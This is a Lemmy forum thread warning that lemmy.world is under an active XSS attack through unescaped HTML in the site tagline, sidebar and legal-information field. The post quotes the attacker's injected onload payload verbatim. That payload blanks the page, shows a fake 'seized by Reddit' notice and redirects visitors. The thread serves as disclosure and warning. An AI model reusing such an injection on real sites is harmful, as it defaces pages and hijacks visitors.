Lemmy

12524 readers

1 users here now

Everything about Lemmy; bugs, gripes, praises, and advocacy.

For discussion about the lemmy.ml instance, go to !meta@lemmy.ml.

founded 5 years ago

MODERATORS

nutomic@lemmy.ml

300

(URGENT) Lemmy has an XSS vulnerability in the tagline, the sidebar and in the legal information field (sh.itjust.works)

submitted 2 years ago* (last edited 2 years ago) by AlmightySnoo@sh.itjust.works to c/lemmy@lemmy.ml

119 comments fedilink hide all child comments

DO NOT OPEN THE "LEGAL" PAGE

lemmy.world is a victim of an XSS attack right now and the hacker simply injected a JavaScript redirection into the sidebar.

It appears the Lemmy backend does not escape HTML in the main sidebar. Not sure if this is also true for community sidebars.

EDIT:

the exploit is also in the tagline that appears on top of the main feed for status updates, like the following one for SDF Chatter:

EDIT 2:

The legal information field also has that exploit, so that when you go to the "Legal" page it shows the HTML unescaped, but fortunately (for now) he's using double-quotes.

"legal_information":" ![\" onload=\"if(localStorage.getItem(`h`) != `true`){document.body.innerHTML = `\u003Ch1\u003ESite has been seized by Reddit for copyright infringment\u003C\u002Fh1\u003E`; setTimeout(() =\u003E {window.location.href = `https:\u002F\u002Flemmy.world\u002Fpictrs\u002Fimage\u002F7aa772b7-9416-45d1-805b-36ec21be9f66.mp4`}, 10000)}\"](https:\u002F\u002Flemmy.world\u002Fpictrs\u002Fimage\u002F66ca36df-4ada-47b3-9169-01870d8fb0ac.png \"lw\")

you are viewing a single comment's thread
view the rest of the comments

[–] gthutbwdy@lemmy.sdf.org 4 points 2 years ago

I don't know too much about lemmy yet, but all of these things (tagline,siudebar and legal info) sound like they should be controlled only by admins, that should be able to add html code anyway (since it their website).